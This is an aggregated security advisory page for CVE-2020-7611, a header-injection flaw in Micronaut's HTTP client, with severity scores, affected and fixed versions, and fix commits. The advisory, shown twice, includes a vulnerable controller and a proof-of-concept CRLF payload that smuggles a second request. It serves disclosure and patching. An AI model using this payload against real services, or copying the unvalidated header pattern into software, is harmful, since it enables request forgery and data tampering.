CVE-2020-7611
Micronaut's HTTP client is vulnerable to HTTP Request Header Injection
All versions of io.micronaut:micronaut-http-client before 1.2.11 and all versions from 1.3.0 before 1.3.2 are vulnerable to HTTP Request Header Injection due to not validating request headers passed to the client.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
NVD Score used
9.8
All versions of io.micronaut:micronaut-http-client before 1.2.11 and all versions from 1.3.0 before 1.3.2 are vulnerable to HTTP Request Header Injection due to not validating request headers passed to the client.
- Record
CVE-2020-7611- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 2.0
- 7.5 High
AV:N/AC:L/Au:N/C:P/I:P/A:P - Weakness
- CWE-444
- Updated
- 2026-11-02
CVE List No score
All versions of io.micronaut:micronaut-http-client before 1.2.11 and all versions from 1.3.0 before 1.3.2 are vulnerable to HTTP Request Header Injection due to not validating request headers passed to the client.
- Record
CVE-2020-7611- Updated
- 2026-11-02
EUVDEUVD-2020-0334 No score
All versions of io.micronaut:micronaut-http-client before 1.2.11 and all versions from 1.3.0 before 1.3.2 are vulnerable to HTTP Request Header Injection due to not validating request headers passed to the client.
- Record
EUVD-2020-0334- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-694p-xrhg-x3wm
9.8
Micronaut's HTTP client is vulnerable to HTTP Request Header Injection
Vulnerability
Micronaut's HTTP client is vulnerable to "HTTP Request Header Injection" due to not validating request headers passed to the client.
Example of vulnerable code:
@Controller("/hello")
public class HelloController {
@Inject
@Client("/")
RxHttpClient client;
@Get("/external-exploit")
@Produces(MediaType.TEXT_PLAIN)
public String externalExploit(@QueryValue("header-value") String headerValue) {
return client.toBlocking().retrieve(
HttpRequest.GET("/hello")
.header("Test", headerValue)
);
}
}
In the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.
For example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.
List<String> headerData = List.of(
"Connection: Keep-Alive", // This keeps the connection open so another request can be stuffed in.
"",
"",
"POST /hello/super-secret HTTP/1.1",
"Host: 127.0.0.1",
"Content-Length: 31",
"",
"{\"new\":\"json\",\"content\":\"here\"}",
"",
""
);
String headerValue = "H\r\n" + String.join("\r\n", headerData);;
URI theURI =
UriBuilder
.of("/hello/external-exploit")
.queryParam("header-value", headerValue) // Automatically URL encodes data
.build();
HttpRequest<String> request = HttpRequest.GET(theURI);
String body = client.toBlocking().retrieve(request);
Note that using @HeaderValue instead of @QueryValue is not vulnerable since Micronaut's HTTP server does validate the headers passed to the server, so the exploit can only be triggered by using user data that is not an HTTP header (query values, form data etc.).
Impact
The attacker is able to control the entirety of the HTTP body for their custom requests. As such, this vulnerability enables attackers to perform a variant of Server Side Request Forgery.
Patches
The problem has been patched in the micronaut-http-client versions 1.2.11 and 1.3.2 and above.
Workarounds
Do not pass user data directly received from HTTP request parameters as headers in the HTTP client.
References
Fix commits
- https://github.com/micronaut-projects/micronaut-core/commit/9d1eff5c8df1d6cda1fe00ef046729b2a6abe7f1
- https://github.com/micronaut-projects/micronaut-core/commit/6deb60b75517f80c57b42d935f07955c773b766d
- https://github.com/micronaut-projects/micronaut-core/commit/bc855e439c4a5ced3d83195bb59d0679cbd95add
For more information
If you have any questions or comments about this advisory:
- Open an issue in micronaut-core
- Email us at [email protected]
Credit
Originally reported by @JLLeitschuh
- Record
GHSA-694p-xrhg-x3wm- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-444
- Updated
- 2026-11-02
OSV
9.8
All versions of io.micronaut:micronaut-http-client before 1.2.11 and all versions from 1.3.0 before 1.3.2 are vulnerable to HTTP Request Header Injection due to not validating request headers passed to the client.
- Record
CVE-2020-7611- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-694p-xrhg-x3wm
9.8
Micronaut's HTTP client is vulnerable to HTTP Request Header Injection
Vulnerability
Micronaut's HTTP client is vulnerable to "HTTP Request Header Injection" due to not validating request headers passed to the client.
Example of vulnerable code:
@Controller("/hello")
public class HelloController {
@Inject
@Client("/")
RxHttpClient client;
@Get("/external-exploit")
@Produces(MediaType.TEXT_PLAIN)
public String externalExploit(@QueryValue("header-value") String headerValue) {
return client.toBlocking().retrieve(
HttpRequest.GET("/hello")
.header("Test", headerValue)
);
}
}
In the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.
For example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.
List<String> headerData = List.of(
"Connection: Keep-Alive", // This keeps the connection open so another request can be stuffed in.
"",
"",
"POST /hello/super-secret HTTP/1.1",
"Host: 127.0.0.1",
"Content-Length: 31",
"",
"{\"new\":\"json\",\"content\":\"here\"}",
"",
""
);
String headerValue = "H\r\n" + String.join("\r\n", headerData);;
URI theURI =
UriBuilder
.of("/hello/external-exploit")
.queryParam("header-value", headerValue) // Automatically URL encodes data
.build();
HttpRequest<String> request = HttpRequest.GET(theURI);
String body = client.toBlocking().retrieve(request);
Note that using @HeaderValue instead of @QueryValue is not vulnerable since Micronaut's HTTP server does validate the headers passed to the server, so the exploit can only be triggered by using user data that is not an HTTP header (query values, form data etc.).
Impact
The attacker is able to control the entirety of the HTTP body for their custom requests. As such, this vulnerability enables attackers to perform a variant of Server Side Request Forgery.
Patches
The problem has been patched in the micronaut-http-client versions 1.2.11 and 1.3.2 and above.
Workarounds
Do not pass user data directly received from HTTP request parameters as headers in the HTTP client.
References
Fix commits
- https://github.com/micronaut-projects/micronaut-core/commit/9d1eff5c8df1d6cda1fe00ef046729b2a6abe7f1
- https://github.com/micronaut-projects/micronaut-core/commit/6deb60b75517f80c57b42d935f07955c773b766d
- https://github.com/micronaut-projects/micronaut-core/commit/bc855e439c4a5ced3d83195bb59d0679cbd95add
For more information
If you have any questions or comments about this advisory:
- Open an issue in micronaut-core
- Email us at [email protected]
Credit
Originally reported by @JLLeitschuh
- Record
GHSA-694p-xrhg-x3wm- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-444
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
io.micronaut:micronaut-http-clientMaven |
before 1.2.11 | 1.2.11 |
io.micronaut:micronaut-http-clientMaven |
1.3.0 up to 1.3.2 | 1.3.2 |
io.micronaut:micronaut-http-clientMaven |
before 1.2.11, plus listed versions 1.0.01.0.0.RC31.0.11.0.21.0.3 Show 24 moreShow less1.0.41.0.51.1.01.1.0.M11.1.0.M21.1.0.RC11.1.0.RC21.1.11.1.21.1.31.1.41.2.01.2.0.RC11.2.0.RC21.2.11.2.101.2.21.2.31.2.41.2.51.2.61.2.71.2.81.2.9 |
1.2.11 |
io.micronaut:micronaut-http-clientMaven |
1.3.0 up to 1.3.2, plus listed versions 1.3.1 |
1.3.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2020-7611 is a critical vulnerability (CVSS 9.8) in Objectcomputing Micronaut, published March 30, 2020. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.81%, the 78th percentile. Fixed in io.micronaut:micronaut-http-client 1.2.11.
References
snyk.io/vuln/SNYK-JAVA-IOMICRONAUT-561342
github.com/micronaut-projects/micronaut-core/security/advisories/GHSA-694p-xrhg-x3wm
github.com/micronaut-projects/micronaut-core/commit/9d1eff5c8df1d6cda1fe00ef046729b2a6abe7f1
github.com/micronaut-projects/micronaut-core/commit/6deb60b75517f80c57b42d935f07955c773b766d
github.com/micronaut-projects/micronaut-core/commit/bc855e439c4a5ced3d83195bb59d0679cbd95add
nvd.nist.gov/vuln/detail/CVE-2020-7611
github.com/advisories/GHSA-694p-xrhg-x3wm
github.com/micronaut-projects/micronaut-core